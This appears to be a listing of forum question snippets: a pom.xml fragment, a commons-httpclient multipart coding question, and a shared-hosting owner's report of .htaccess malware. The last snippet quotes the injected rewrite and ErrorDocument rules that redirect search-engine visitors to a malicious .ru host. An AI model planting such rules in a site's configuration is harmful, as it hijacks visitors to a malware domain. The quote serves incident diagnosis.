solve this, it requires to add more lib there, can I put it into pom.xml somewhere ? I tried to put .. inside tag, it doesn't work

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  • How to set up dynamically Part in MultipartRequestEntity

    - by ee_vin
    Hello, I'm using commons-httpclient-3.1 inside my android application. And I would like to know if it possible to manipulate Part (org.apache.commons.httpclient.methods.multipart.Part) dynamically? Essentially adding new FilePart and new StringPart at runtime before sending the request. Every example I've found until now suppose that you know how many fields you are dealing with. Ex: File f = new File("/path/fileToUpload.txt"); PostMethod filePost = new PostMethod("http://host/some_path"); Part[] parts = { new StringPart("param_name", "value"), new FilePart(f.getName(), f) }; filePost.setRequestEntity( new MultipartRequestEntity(parts, filePost.getParams()) ); HttpClient client = new HttpClient(); int status = client.executeMethod(filePost); code from http://hc.apache.org/httpclient-3.x/apidocs/org/apache/commons/httpclient/methods/multipart/MultipartRequestEntity.html Android specific thread: http://groups.google.com/group/android-developers/browse_thread/thread/0f9e17bbaf50c5fc Thank you

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  • shared hosting with malware, .htaccess file gets modified every 2 hours or so

    - by apache
    I spent all day today chasing malware on the shared hosting for one of my clients. The issue is as follows: Every 2 hours or so .htaccess file and all other .htaccess files gets modified, on the top of the file these lines are added: IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L] </IfModule> and on the bottom: ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8 The main problem I'm not root on the server, and cannot sudo, as this is shared hosting with 100's of websites. Typical good commands like dmesg, lsof, dtrace, chattr and many others are not available to me as I'm not root. I can't find who is modifying .htaccess files, how do I get that info? My guess is some php script is changing that which is called from outside via command and control. This seems to relate to this: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/ How do I find out who is modifying .htaccess files without being root?

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